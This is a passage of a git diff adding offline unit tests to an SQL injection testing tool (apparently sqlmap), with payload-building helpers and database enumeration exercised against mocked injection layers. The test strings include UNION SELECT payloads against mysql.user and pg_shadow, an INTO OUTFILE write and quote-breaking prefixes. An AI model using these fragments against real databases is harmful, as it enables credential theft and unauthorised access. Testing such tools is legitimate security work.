unArrayizeValue, - flattenValue, - arrayizeValue, - joinValue, - aliasToDbmsEnum, - getPageWordSet, - resetCookieJar, - normalizeUnicode, -) - - -class DbmsStateMixin(object): - """Snapshot/restore the Backend/kb DBMS-forcing state so set_dbms() does not leak.""" - - def setUp(self): - self._forcedDbms = kb.forcedDbms - self._sticky = kb.stickyDBMS - self._batch = conf.batch - conf.batch = True - - def tearDown(self): - kb.forcedDbms = self._forcedDbms - kb.stickyDBMS = self._sticky - conf.batch = self._batch - - -# --------------------------------------------------------------------------- # -# lib/core/agent.py -# --------------------------------------------------------------------------- # - -class TestForgeUnionQuery(DbmsStateMixin, unittest.TestCase): - """forgeUnionQuery arg combinations not reached by the dialect smoke test.""" - - def test_limited_subselect_wraps_query(self): - set_dbms(DBMS.MYSQL) - # limited=True wraps the payload as (SELECT ...) at `position`, fills the - # rest with `char`, and appends the FROM/comment/suffix - out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 1, 3, None, - None, None, "NULL", None, limited=True) - self.assertIn("(SELECT user FROM mysql.user)", out) - self.assertTrue(out.startswith(" UNION ALL SELECT NULL,(SELECT"), msg=out) - # position 1 of 3 => NULL,,NULL - self.assertEqual(out.count("NULL"), 2, msg=out) - - def test_multiple_unions_appends_second_select(self): - set_dbms(DBMS.MYSQL) - out = agent.forgeUnionQuery("SELECT a FROM t", 0, 2, None, None, None, - "NULL", None, multipleUnions="b") - # the multipleUnions payload produces a *second* UNION ALL SELECT - self.assertEqual(out.upper().count("UNION ALL SELECT"), 2, msg=out) - self.assertIn("b", out) - - def test_from_table_override(self): - set_dbms(DBMS.MYSQL) - out = agent.forgeUnionQuery("SELECT 1", 0, 1, None, None, None, "NULL", - None, fromTable=" FROM dummytable") - self.assertIn("FROM dummytable", out, msg=out) - - def test_into_outfile_forces_null_position(self): - set_dbms(DBMS.MYSQL) - # an INTO OUTFILE clause forces position 0 / char NULL and re-appends the file part - out = agent.forgeUnionQuery("SELECT a INTO OUTFILE '/tmp/o.txt' FROM t", - 1, 2, None, None, None, "NULL", None) - self.assertIn("INTO OUTFILE '/tmp/o.txt'", out, msg=out) - - def test_collate_clause_on_mysql(self): - set_dbms(DBMS.MYSQL) - # collate=True on MySQL wraps a non-NULL, non-numeric value in the - # MYSQL_UNION_VALUE_CAST collation wrapper - out = agent.forgeUnionQuery("SELECT user FROM mysql.user", 0, 1, None, - None, None, "NULL", None, collate=True) - self.assertIn("CONVERT", out.upper(), msg=out) - - -class TestLimitQuery(DbmsStateMixin, unittest.TestCase): - """limitQuery dialect shapes beyond the single limitQuery(0,...) smoke test.""" - - def test_no_from_returns_unchanged(self): - set_dbms(DBMS.MYSQL) - self.assertEqual(agent.limitQuery(5, "SELECT 1", "1"), "SELECT 1") - - def test_mysql_appends_limit_offset_one(self): - set_dbms(DBMS.MYSQL) - out = agent.limitQuery(7, "SELECT user FROM mysql.user", "user") - self.assertTrue(out.endswith("LIMIT 7,1"), msg=out) - - def test_pgsql_offset_form(self): - set_dbms(DBMS.PGSQL) - out = agent.limitQuery(4, "SELECT usename FROM pg_shadow", "usename") - self.assertIn("OFFSET 4 LIMIT 1", out, msg=out) - - def test_oracle_rownum_wrap(self): - set_dbms(DBMS.ORACLE) - out = agent.limitQuery(2, "SELECT banner FROM v$version", ["banner"]) - # Oracle wraps in a ROWNUM-bounded subselect ending with = - self.assertIn("ROWNUM", out.upper(), msg=out) - self.assertTrue(out.rstrip().endswith("=3"), msg=out) - - def test_firebird_first_skip(self): - set_dbms(DBMS.FIREBIRD) - out = agent.limitQuery(3, "SELECT foo FROM bar", "foo") - self.assertIsInstance(out, str) - self.assertIn("foo", out) - # Firebird uses ROWS TO (the FIRST/SKIP emulation); pin - # the exact shape so a broken offset arithmetic is caught. - self.assertTrue(out.endswith("ROWS 4 TO 4"), msg=out) - - def test_mssql_top_not_in(self): - set_dbms(DBMS.MSSQL) - out = agent.limitQuery(2, "SELECT name FROM sysobjects", "name", uniqueField="name") - # MSSQL emulates LIMIT via TOP + NOT IN - self.assertIn("TOP", out.upper(), msg=out) - self.assertIn("NOT IN", out.upper(), msg=out) - - -class TestWhereQuery(DbmsStateMixin, unittest.TestCase): - """whereQuery only acts when conf.dumpWhere is set.""" - - def setUp(self): - DbmsStateMixin.setUp(self) - self._dumpWhere = conf.dumpWhere - self._tbl = conf.tbl - - def tearDown(self): - conf.dumpWhere = self._dumpWhere - conf.tbl = self._tbl - DbmsStateMixin.tearDown(self) - - def test_no_dumpwhere_is_identity(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = None - self.assertEqual(agent.whereQuery("SELECT a FROM t"), "SELECT a FROM t") - - def test_appends_where_clause(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>10" - conf.tbl = None - out = agent.whereQuery("SELECT a FROM t") - self.assertIn("WHERE id>10", out, msg=out) - - def test_existing_where_gets_anded(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>10" - conf.tbl = None - out = agent.whereQuery("SELECT a FROM t WHERE b=1") - self.assertIn("AND id>10", out, msg=out) - - def test_order_by_suffix_preserved(self): - set_dbms(DBMS.MYSQL) - conf.dumpWhere = "id>10" - conf.tbl = None - out = agent.whereQuery("SELECT a FROM t ORDER BY a") - # the genuine trailing ORDER BY is kept after the spliced WHERE - self.assertIn("WHERE id>10", out, msg=out) - # the ORDER BY must survive *after* the spliced WHERE clause; the - # substring check alone could pass even if the suffix were dropped. - self.assertTrue(out.rstrip().endswith("ORDER BY a"), msg=out) - - -class TestGetComment(unittest.TestCase): - def test_present(self): - from lib.core.datatype import AttribDict - self.assertEqual(agent.getComment(AttribDict({"comment": "-- x"})), "-- x") - - def test_absent_returns_empty(self): - from lib.core.datatype import AttribDict - self.assertEqual(agent.getComment(AttribDict()), "") - - -class TestConcatQueryUnpack(DbmsStateMixin, unittest.TestCase): - def test_unpack_false_returns_input_unchanged(self): - set_dbms(DBMS.MYSQL) - self.assertEqual(agent.concatQuery("SELECT a FROM t", unpack=False), - "SELECT a FROM t") - - def test_pgsql_unpack_uses_pipe_concat(self): - set_dbms(DBMS.PGSQL) - out = agent.concatQuery("SELECT usename FROM pg_shadow") - self.assertIn("||", out, msg=out) - self.assertIn(kb.chars.start, out, msg=out) - self.assertIn(kb.chars.stop, out, msg=out) - - -class TestCleanupPayloadOrigValue(DbmsStateMixin, unittest.TestCase): - def test_origvalue_digit_inlined(self): - out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="42") - self.assertEqual(out, "x=42") - - def test_origvalue_nondigit_quoted(self): - out = agent.cleanupPayload("x=[ORIGVALUE]", origValue="abc") - self.assertIn("'abc'", out, msg=out) - - def test_original_marker_raw_substitution(self): - out = agent.cleanupPayload("p=[ORIGINAL]", origValue="raw") - self.assertEqual(out, "p=raw") - - def test_space_replace_marker(self): - out = agent.cleanupPayload("a[SPACE_REPLACE]b") - self.assertEqual(out, "a%sb" % kb.chars.space) - - def test_non_string_returns_none(self): - self.assertIsNone(agent.cleanupPayload(None)) - - -class TestAdjustLateValues(DbmsStateMixin, unittest.TestCase): - def test_sleeptime_replaced_with_timesec(self): - out = agent.adjustLateValues("SLEEP(%s)" % SLEEP_TIME_MARKER) - self.assertEqual(out, "SLEEP(%s)" % conf.timeSec) - self.assertNotIn(SLEEP_TIME_MARKER, out) - - def test_randnum_marker_substituted(self): - out = agent.adjustLateValues("v=[RANDNUM]") - self.assertNotIn("[RANDNUM]", out) - self.assertTrue(out.split("=")[1].isdigit(), msg=out) - - def test_bounded_base64_marker_encoded(self): - payload = "%sAB%s" % (BOUNDED_BASE64_MARKER, BOUNDED_BASE64_MARKER) - out = agent.adjustLateValues(payload) - # the marked region is base64-encoded and the markers are consumed - self.assertNotIn(BOUNDED_BASE64_MARKER, out) - self.assertEqual(out, "QUI=") - - def test_empty_payload_passthrough(self): - self.assertEqual(agent.adjustLateValues(""), "") - - -class TestGetFieldsShapes(DbmsStateMixin, unittest.TestCase): - def test_select_top(self): - set_dbms(DBMS.MSSQL) - res = agent.getFields("SELECT TOP 1 name FROM sysobjects") - self.assertIsNotNone(res[3], msg="fieldsSelectTop not matched") - self.assertEqual(res[6], "name") - - def test_distinct(self): - set_dbms(DBMS.MYSQL) - res = agent.getFields("SELECT DISTINCT(name) FROM t") - self.assertEqual(res[6], "name") - - def test_function_is_single_element(self): - set_dbms(DBMS.MYSQL) - res = agent.getFields("SELECT COUNT(*) FROM t") - self.assertEqual(res[5], ["COUNT(*)"]) - - def test_no_from_keeps_whole_select_list(self): - set_dbms(DBMS.MYSQL) - res = agent.getFields("SELECT a,b,c") - self.assertIsNone(res[0], msg="fieldsSelectFrom must be None without FROM") - self.assertEqual(res[5], ["a", "b", "c"]) - - -class TestPrefixSuffixArgs(DbmsStateMixin, unittest.TestCase): - def test_prefix_with_explicit_prefix(self): - set_dbms(DBMS.MYSQL) - out = agent.prefixQuery("1=1", prefix="')") - self.assertIn("')", out, msg=out) - self.assertTrue(out.endswith("1=1"), msg=out) - - def test_prefix_group_by_clause_uses_prefix_verbatim(self): - set_dbms(DBMS.MYSQL) - # clause == [2] (GROUP BY / ORDER BY) => no trailing space added - out = agent.prefixQuery("1=1", prefix="X", clause=[2]) - self.assertEqual(out, "X1=1") - - def test_suffix_appends_comment(self): - set_dbms(DBMS.MYSQL) - out = agent.suffixQuery("1=1", comment="-- -") - self.assertTrue(out.startswith("1=1"), msg=out) - self.assertIn("-", out) - - def test_suffix_appends_suffix_no_comment(self): - set_dbms(DBMS.MYSQL) - out = agent.suffixQuery("1=1", suffix="')") - self.assertIn("')", out, msg=out) - - -class TestNullAndCastFieldNoCast(DbmsStateMixin, unittest.TestCase): - def setUp(self): - DbmsStateMixin.setUp(self) - self._noCast = conf.noCast - - def tearDown(self): - conf.noCast = self._noCast - DbmsStateMixin.tearDown(self) - - def test_nocast_returns_field_unchanged(self): - set_dbms(DBMS.MYSQL) - conf.noCast = True - self.assertEqual(agent.nullAndCastField("colname"), "colname") - - def test_cast_present_when_nocast_off(self): - set_dbms(DBMS.MYSQL) - conf.noCast = False - out = agent.nullAndCastField("colname") - self.assertIn("CAST", out.upper(), msg=out) - self.assertIn("colname", out) - - -# --------------------------------------------------------------------------- # -# lib/core/common.py -# --------------------------------------------------------------------------- # - -class TestSmallPredicates(unittest.TestCase): - def test_is_none_value(self): - self.assertTrue(isNoneValue(None)) - self.assertTrue(isNoneValue("None")) - self.assertTrue(isNoneValue("")) - self.assertTrue(isNoneValue([])) - self.assertTrue(isNoneValue(["None", ""])) - self.assertTrue(isNoneValue({})) - self.assertFalse(isNoneValue([2])) - self.assertFalse(isNoneValue("x")) - - def test_is_null_value(self): - self.assertTrue(isNullValue(u"NULL")) - self.assertTrue(isNullValue(u"null")) - self.assertFalse(isNullValue(u"foobar")) - self.assertFalse(isNullValue(5)) - - def test_is_num_pos_str_value(self): - self.assertTrue(isNumPosStrValue(1)) - self.assertTrue(isNumPosStrValue("1")) - self.assertFalse(isNumPosStrValue(0)) - self.assertFalse(isNumPosStrValue("-2")) - self.assertFalse(isNumPosStrValue("100000000000000000000")) - self.assertFalse(isNumPosStrValue("abc")) - - def test_is_number(self): - self.assertTrue(isNumber(1)) - self.assertTrue(isNumber("0")) - self.assertTrue(isNumber("3.14")) - self.assertFalse(isNumber("foobar")) - self.assertFalse(isNumber(None)) - - def test_is_list_like(self): - self.assertTrue(isListLike([1])) - self.assertTrue(isListLike((1,))) - self.assertTrue(isListLike(set([1]))) - self.assertFalse(isListLike("x")) - self.assertFalse(isListLike(5)) - - -class TestValueShaping(unittest.TestCase): - def test_filter_pair_values(self): - self.assertEqual(filterPairValues([[1, 2], [3], 1, [4, 5]]), [[1, 2], [4, 5]]) - self.assertEqual(filterPairValues(None), []) - - def test_filter_list_value(self): - self.assertEqual(filterListValue(["users", "admins", "logs"], r"(users|admins)"), - ["users", "admins"]) - # non-list input returned unchanged - self.assertEqual(filterListValue("notlist", r"x"), "notlist") - # no regex returns input - self.assertEqual(filterListValue(["a"], None), ["a"]) - - def test_filter_none(self): - self.assertEqual(filterNone([1, 2, "", None, 3, 0]), [1, 2, 3, 0]) - - def test_filter_string_value(self): - self.assertEqual(filterStringValue("wzydeadbeef0123#", r"[0-9a-f]"), "deadbeef0123") - - def test_un_arrayize_value(self): - self.assertEqual(unArrayizeValue(["1"]), "1") - self.assertEqual(unArrayizeValue("1"), "1") - self.assertEqual(unArrayizeValue(["1", "2"]), "1") - self.assertEqual(unArrayizeValue([["a", "b"], "c"]), "a") - self.assertIsNone(unArrayizeValue([])) - - def test_flatten_value(self): - self.assertEqual(list(flattenValue([["1"], [["2"], "3"]])), ["1", "2", "3"]) - - def test_arrayize_value(self): - self.assertEqual(arrayizeValue("1"), ["1"]) - self.assertEqual(arrayizeValue(["1"]), ["1"]) - - def test_join_value(self): - self.assertEqual(joinValue(["1", "2"]), "1,2") - self.assertEqual(joinValue("1"), "1") - self.assertEqual(joinValue(["1", None]), "1,None") - - -class TestZeroDepthAndSplit(unittest.TestCase): - def test_zero_depth_search_skips_parens(self): - expr = "SELECT (SELECT id FROM users WHERE 2>1) AS r FROM DUAL" - idx = zeroDepthSearch(expr, " FROM ") - # only the outer top-level FROM is found, not the one inside the subselect - self.assertEqual(len(idx), 1) - self.assertTrue(expr[idx[0]:].startswith(" FROM DUAL")) - - def test_zero_depth_search_ignores_quoted(self): - expr = "a , 'b , c' , d" - # commas inside the quoted literal are not reported - self.assertEqual(len(zeroDepthSearch(expr, ",")), 2) - - def test_split_fields_basic(self): - self.assertEqual(splitFields("foo, bar, max(foo, bar)"), - ["foo", "bar", "max(foo,bar)"]) - - def test_split_fields_quoted(self): - self.assertEqual(splitFields("a, 'b, c', d"), ["a", "'b, c'", "d"]) - - def test_split_fields_custom_delimiter(self): - self.assertEqual(splitFields("a; b; max(c; d)", delimiter=";"), - ["a", "b", "max(c;d)"]) - - -class TestAliasToDbmsEnum(unittest.TestCase): - def test_known_aliases(self): - self.assertEqual(aliasToDbmsEnum("mssql"), DBMS.MSSQL) - self.assertEqual(aliasToDbmsEnum("mysql"), DBMS.MYSQL) - self.assertEqual(aliasToDbmsEnum("postgres"), DBMS.PGSQL) - - def test_unknown_alias_returns_none(self): - self.assertIsNone(aliasToDbmsEnum("definitely_not_a_dbms")) - - def test_empty_returns_none(self): - self.assertIsNone(aliasToDbmsEnum("")) - - -class TestGetPageWordSet(unittest.TestCase): - def test_word_extraction(self): - words = getPageWordSet(u"foobartest") - self.assertEqual(sorted(words), [u"foobar", u"test"]) - - def test_non_string_returns_empty(self): - self.assertEqual(getPageWordSet(None), set()) - - -class TestNormalizeUnicode(unittest.TestCase): - def test_accents_stripped(self): - # normalizeUnicode collapses accented chars to their ASCII base - self.assertEqual(normalizeUnicode(u"éè"), "ee") - - def test_plain_ascii_unchanged(self): - self.assertEqual(normalizeUnicode(u"abc123"), "abc123") - - def test_none_returns_none(self): - self.assertIsNone(normalizeUnicode(None)) - - -class TestResetCookieJar(unittest.TestCase): - """resetCookieJar's clear branch (conf.loadCookies falsy).""" - - def setUp(self): - self._loadCookies = conf.loadCookies - conf.loadCookies = None - - def tearDown(self): - conf.loadCookies = self._loadCookies - - def test_clear_branch(self): - try: - from http.cookiejar import CookieJar - except ImportError: # Python 2 - from cookielib import CookieJar - - jar = CookieJar() - cleared = {"called": False} - - class _Jar(object): - def clear(self): - cleared["called"] = True - - resetCookieJar(_Jar()) - self.assertTrue(cleared["called"]) - # also accepts a real jar without raising - self.assertIsNone(resetCookieJar(jar)) - - -# --------------------------------------------------------------------------- # -# lib/utils/brute.py -# --------------------------------------------------------------------------- # - -import lib.utils.brute as brute -from lib.request import inject -import lib.core.threads as threads_mod -import lib.core.common as common_mod - - -class TestBrute(DbmsStateMixin, unittest.TestCase): - """Drive tableExists / columnExists with all external collaborators stubbed. - - conf.direct=True skips the time/stacked recommendation prompt. checkBooleanExpression, - getFileItems and runThreads are monkeypatched so the check runs synchronously, - deterministically and offline. getPageWordSet is neutralized so the wordlist is - just what the stub returns. - """ - - def setUp(self): - DbmsStateMixin.setUp(self) - self._saved_conf = {k: conf.get(k) for k in - ("direct", "db", "tbl", "threads", "api", "verbose")} - self._choices = kb.choices - self._cachedTables = kb.data.get("cachedTables") - self._cachedColumns = kb.data.get("cachedColumns") - self._brute = kb.brute - self._origPage = kb.originalPage - - # stub the collaborators - self._orig_cbe = inject.checkBooleanExpression - self._orig_brute_cbe = brute.inject.checkBooleanExpression - self._orig_getFileItems = brute.getFileItems - self._orig_runThreads = brute.runThreads - self._orig_getPageWordSet = brute.getPageWordSet - - from lib.core.datatype import AttribDict - kb.choices = AttribDict(keycheck=False) - kb.choices.tableExists = None - kb.choices.columnExists = None - kb.data.cachedTables = {} - kb.data.cachedColumns = {} - kb.brute = AttribDict({"tables": [], "columns": []}) - kb.originalPage = None - - conf.direct = True - conf.db = None - conf.threads = 1 - conf.api = False - conf.verbose = 0 - - # runThreads -> just call the worker once synchronously - def _fakeRunThreads(numThreads, threadFunction, *args, **kwargs): - kb.threadContinue = True - threadFunction() - brute.runThreads = _fakeRunThreads - # no page words injected into the wordlist - brute.getPageWordSet = lambda page: set() - # wordlist file -> small fixed list - brute.getFileItems = lambda *a, **k: ["users", "logs", "secret_t"] - - def tearDown(self): - for k, v in self._saved_conf.items(): - conf[k] = v - kb.choices = self._choices - if self._cachedTables is None: - kb.data.pop("cachedTables", None) - else: - kb.data.cachedTables = self._cachedTables - if self._cachedColumns is None: - kb.data.pop("cachedColumns", None) - else: - kb.data.cachedColumns = self._cachedColumns - kb.brute = self._brute - kb.originalPage = self._origPage - brute.inject.checkBooleanExpression = self._orig_brute_cbe - brute.getFileItems = self._orig_getFileItems - brute.runThreads = self._orig_runThreads - brute.getPageWordSet = self._orig_getPageWordSet - DbmsStateMixin.tearDown(self) - - def test_table_exists_collects_true_results(self): - set_dbms(DBMS.MYSQL) - - def _cbe(expression, expectingNone=True): - # initial sanity probe (random table) -> must be False, otherwise the - # function raises SqlmapDataException; then only "users" exists. - return "users" in expression - brute.inject.checkBooleanExpression = _cbe - - result = brute.tableExists("/nonexistent/tables.txt") - # cachedTables keyed by conf.db (None here) holds the discovered table - self.assertIn(None, result) - self.assertIn("users", result[None]) - self.assertNotIn("logs", result.get(None, [])) - # also recorded in kb.brute.tables as (db, table) - self.assertIn((None, "users"), kb.brute.tables) - - def test_table_exists_invalid_results_raises(self): - from lib.core.exception import SqlmapDataException - set_dbms(DBMS.MYSQL) - # the initial random-table probe returns True -> "invalid results" guard - brute.inject.checkBooleanExpression = lambda *a, **k: True - with self.assertRaises(SqlmapDataException): - brute.tableExists("/nonexistent/tables.txt") - - def test_column_exists_requires_table(self): - from lib.core.exception import SqlmapMissingMandatoryOptionException - set_dbms(DBMS.MYSQL) - conf.tbl = None - # the sanity probe is False so we reach the missing-table guard - brute.inject.checkBooleanExpression = lambda *a, **k: False - with self.assertRaises(SqlmapMissingMandatoryOptionException): - brute.columnExists("/nonexistent/columns.txt") - - def test_column_exists_collects_and_types(self): - set_dbms(DBMS.MYSQL) - conf.tbl = "users" - brute.getFileItems = lambda *a, **k: ["id", "name"] - - calls = {"n": 0} - - def _cbe(expression, expectingNone=True): - calls["n"] += 1 - # initial sanity probe uses two random strings (no real column name) - if "id" not in expression and "name" not in expression: - return False - # MySQL numeric-type follow-up: `not checkBooleanExpression(... REGEXP '[^0-9]')`. - # 'id' is numeric (no non-digit chars => probe False => numeric); - # 'name' is non-numeric (has non-digit chars => probe True => non-numeric). - if "REGEXP" in expression: - return "name" in expression - # plain existence check (EXISTS(SELECT FROM )) => both columns exist - return True - brute.inject.checkBooleanExpression = _cbe - - result = brute.columnExists("/nonexistent/columns.txt") - self.assertIn(None, result) - cols = result[None]["users"] - # column names are run through safeSQLIdentificatorNaming, so the MySQL - # reserved word "name" comes back backtick-quoted - from lib.core.common import safeSQLIdentificatorNaming, getText - self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("id"))), "numeric") - self.assertEqual(cols.get(getText(safeSQLIdentificatorNaming("name"))), "non-numeric") - - def test_add_page_text_words_filters(self): - # restore the real getPageWordSet for this one and drive it directly - brute.getPageWordSet = self._orig_getPageWordSet - kb.originalPage = u"admin password 1abc xy verylongword" - words = brute._addPageTextWords() - # words <= 2 chars or starting with a digit are dropped - self.assertIn("admin", words) - self.assertIn("password", words) - self.assertNotIn("xy", words) - self.assertNotIn("1abc", words) - - -if __name__ == "__main__": - unittest.main(verbosity=2) diff --git a/tests/test_databases_enum.py b/tests/test_databases_enum.py index 323a4a728..3bba88dde 100644 --- a/tests/test_databases_enum.py +++ b/tests/test_databases_enum.py @@ -36,6 +36,26 @@ from plugins.generic.databases import Databases _NOOP = lambda self: None +def _inference_gv(count, sequence): + """Build an inject.getValue stub for blind inference branches. + + Returns `count` (as str) whenever the caller asks for EXPECTED.INT, otherwise + yields the next item from `sequence` wrapped as a single-cell row ([value]), + cycling if exhausted. This mirrors the count-then-per-row contract of every + isInferenceAvailable() branch. + """ + state = {"i": 0} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(count) + val = sequence[state["i"] % len(sequence)] + state["i"] += 1 + return [val] + + return gv + + class _BaseEnumTest(unittest.TestCase): """Shared setup/teardown that snapshots and restores all touched global state.""" @@ -507,5 +527,241 @@ class TestGetProcedures(_BaseEnumTest): self.assertEqual(sorted(result), sorted(procs)) +# --------------------------------------------------------------------------- # +# Inference / brute-force branches (relocated from test_generic_enum_more.py) +# --------------------------------------------------------------------------- # + +class _DbBase(unittest.TestCase): + _CONF_KEYS = ("direct", "technique", "db", "tbl", "col", "exclude", + "getComments", "excludeSysDbs", "search", "freshQueries") + + def setUp(self): + self._saved_conf = {k: conf.get(k) for k in self._CONF_KEYS} + self._saved_getValue = dbmod.inject.getValue + self._saved_checkBool = dbmod.inject.checkBooleanExpression + self._saved_injection_data = kb.injection.data + self._saved_has_is = kb.data.get("has_information_schema") + self._saved_hintValue = kb.get("hintValue") + self._saved_choices = dict(kb.choices) + self._saved_readInput = dbmod.readInput + self._saved_forceDbmsEnum = getattr(Databases, "forceDbmsEnum", None) + Databases.forceDbmsEnum = _NOOP + + conf.getComments = False + conf.excludeSysDbs = False + conf.exclude = None + conf.search = False + conf.freshQueries = False + conf.col = None + kb.data.has_information_schema = True + + def tearDown(self): + for k, v in self._saved_conf.items(): + conf[k] = v + dbmod.inject.getValue = self._saved_getValue + dbmod.inject.checkBooleanExpression = self._saved_checkBool + dbmod.readInput = self._saved_readInput + kb.injection.data = self._saved_injection_data + kb.data.has_information_schema = self._saved_has_is + kb.hintValue = self._saved_hintValue + kb.choices.clear() + kb.choices.update(self._saved_choices) + if self._saved_forceDbmsEnum is not None: + Databases.forceDbmsEnum = self._saved_forceDbmsEnum + else: + try: + del Databases.forceDbmsEnum + except AttributeError: + pass + + def _fresh(self): + d = Databases() + kb.data.currentDb = "" + kb.data.cachedDbs = [] + kb.data.cachedTables = {} + kb.data.cachedColumns = {} + kb.data.cachedCounts = {} + kb.data.cachedStatements = [] + kb.data.cachedProcedures = [] + return d + + def _inference(self): + conf.direct = False + conf.technique = None + kb.injection.data = {PAYLOAD.TECHNIQUE.BOOLEAN: {"title": "AND boolean-based blind"}} + + +class TestDatabasesInference(_DbBase): + def test_get_columns_inference_pgsql_types(self): + # Blind column enumeration on PostgreSQL: a count, then for each index a + # column name followed by its type. Assert the {db:{tbl:{col:type}}} parse. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + conf.db = "public" + conf.tbl = "users" + + names = ["id", "email"] + state = {"i": 0, "name": True} + + def gv(query, *a, **k): + if k.get("expected") == EXPECTED.INT: + return str(len(names)) + if state["name"]: + val = names[state["i"] % len(names)] + state["i"] += 1 + state["name"] = False + return [val] + state["name"] = True + return ["integer"] + + dbmod.inject.getValue = gv + result = d.getColumns() + cols = result["public"]["users"] + self.assertEqual(len(cols), 2) + self.assertEqual(cols.get("id"), "integer") + + def test_get_columns_inference_dump_mode_collist(self): + # dumpMode with an explicit conf.col list: in the inference branch the + # columns are taken straight from colList (no count/type queries at all) + # and stored with value None. Asserting no getValue ran proves the + # dump-mode shortcut, not a network round-trip. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "id,name" + + def boom(*a, **k): + raise AssertionError("dumpMode+colList must not query in inference branch") + + dbmod.inject.getValue = boom + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + # "name" is a reserved word -> safeSQLIdentificatorNaming backtick-quotes it; + # both columns must be present (count, since exact key varies by quoting). + self.assertEqual(len(cols), 2) + self.assertIn("id", cols) + self.assertIsNone(cols.get("id")) + + def test_get_count_over_cached_tables_inference(self): + # getCount with no conf.tbl: it calls getTables() then per-table _tableGetCount. + # Drive the inband table fetch + per-table count and assert the + # {db:{count:[tables]}} grouping (tables sharing a count are grouped). + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = None + kb.data.cachedTables = {"testdb": ["users", "posts"]} + + counts = {"users": "5", "posts": "5"} + + def gv(query, *a, **k): + for t, c in counts.items(): + if t in query: + return c + return "0" + + dbmod.inject.getValue = gv + result = d.getCount() + # both tables have count 5 -> grouped under the same key + self.assertEqual(sorted(result["testdb"][5]), ["posts", "users"]) + + def test_get_statements_count_zero_returns_empty(self): + # Inference path: a zero count short-circuits to the (empty) cache. + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + # getStatements compares the count with the int literal 0 (count == 0), so + # the count stub must return an int 0 (not "0") to take the empty branch. + dbmod.inject.getValue = lambda query, *a, **k: 0 if k.get("expected") == EXPECTED.INT else self.fail("must not fetch rows when count is 0") + result = d.getStatements() + self.assertEqual(result, []) + + def test_get_procedures_inference(self): + set_dbms("PostgreSQL") + self._inference() + d = self._fresh() + dbmod.inject.getValue = _inference_gv(2, ["sp_a", "sp_b"]) + result = d.getProcedures() + self.assertEqual(sorted(result), ["sp_a", "sp_b"]) + + def test_get_dbs_mssql_inband_paging(self): + # MSSQL with no rows from the primary query falls into the query2 paging + # loop (one indexed query per db until a blank value stops it). + set_dbms("Microsoft SQL Server") + conf.direct = True + d = self._fresh() + dbs = ["master", "model"] + + def gv(query, *a, **k): + # The primary inband query is 'SELECT name FROM master..sysdatabases' + # (no DB_NAME); make it return nothing so getDbs falls into the + # 'SELECT DB_NAME()' paging loop (query2). + if "DB_NAME" not in query: + return None + import re as _re + idx = int(_re.findall(r"DB_NAME\((\d+)\)", query)[0]) + return dbs[idx] if idx < len(dbs) else "" + + dbmod.inject.getValue = gv + result = d.getDbs() + self.assertEqual(sorted(result), ["master", "model"]) + + def test_get_tables_inference_grouped_per_db(self): + # Blind table enumeration: count for the db, then one table name per index. + set_dbms("MySQL") + self._inference() + d = self._fresh() + conf.db = "shop" + conf.tbl = None + dbmod.inject.getValue = _inference_gv(2, ["orders", "items"]) + result = d.getTables() + self.assertIn("shop", result) + self.assertEqual(sorted(result["shop"]), ["items", "orders"]) + + +class TestDatabasesBruteForce(_DbBase): + def test_get_columns_mysql_lt5_bruteforce_decline(self): + # MySQL < 5 (no information_schema) forces bruteForce in getColumns; with + # the common-column-existence prompt answered 'N' it returns None without + # issuing any column query. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + + def boom(*a, **k): + raise AssertionError("bruteForce decline must not query columns") + + dbmod.inject.getValue = boom + result = d.getColumns() + self.assertIsNone(result) + + def test_get_columns_bruteforce_dumpmode_collist_on_decline(self): + # bruteForce + decline + dumpMode + colList: the columns from colList are + # stored with None type (the dump-mode salvage branch), not dropped. + set_dbms("MySQL") + conf.direct = True + d = self._fresh() + conf.db = "testdb" + conf.tbl = "users" + conf.col = "a,b" + kb.data.has_information_schema = False + kb.choices.columnExists = None + dbmod.readInput = lambda *a, **k: "N" + dbmod.inject.getValue = lambda *a, **k: None + result = d.getColumns(dumpMode=True) + cols = result["testdb"]["users"] + self.assertEqual(sorted(cols.keys()), ["a", "b"]) + self.assertIsNone(cols.get("a")) + + if __name__ == "__main__": unittest.main() diff --git a/tests/test_dbms_enum.py b/tests/test_dbms_enum.py index 8188f3c0e..dff6a0465 100644 --- a/tests/test_dbms_enum.py +++ b/tests/test_dbms_enum.py @@ -6,11 +6,19 @@ See the file 'LICENSE' for copying permission DBMS-specific enumeration overrides (plugins/dbms//enumeration.py), driven through each full DBMS handler with the injection layer mocked, so the -dialect-specific table/column discovery paths run without a live target. The -in-band (UNION/error/direct) branch is taken via conf.direct=True and -inject.getValue is stubbed with canned result rows. +dialect-specific table/column/user/privilege discovery paths run without a live +target, network, or DBMS. The in-band (UNION/error/direct) branch is taken via +conf.direct=True and inject.getValue is stubbed with canned result rows; +conf.batch=True avoids interactive prompts. + +Consolidated from former tests/test_dbms_enum.py (Microsoft SQL Server), +tests/test_dbms_enum_a.py (Oracle/PostgreSQL/MySQL/SQLite) and +tests/test_dbms_enum_b.py (Sybase/MaxDB/MSSQL extra/DB2/Informix/Firebird/HSQLDB). + +stdlib unittest only (no pytest / no pip); works on Python 2.7 and 3.x. """ +import importlib import os import sys import unittest @@ -19,11 +27,18 @@ sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from _testutils import bootstrap, set_dbms bootstrap() +from lib.core.common import Backend from lib.core.data import conf, kb from lib.core.enums import EXPECTED +from lib.core.exception import SqlmapUnsupportedFeatureException +from lib.request import inject -class _EnumBase(unittest.TestCase): +# --------------------------------------------------------------------------- +# Base for Microsoft SQL Server getTables (former test_dbms_enum.py) +# --------------------------------------------------------------------------- + +class 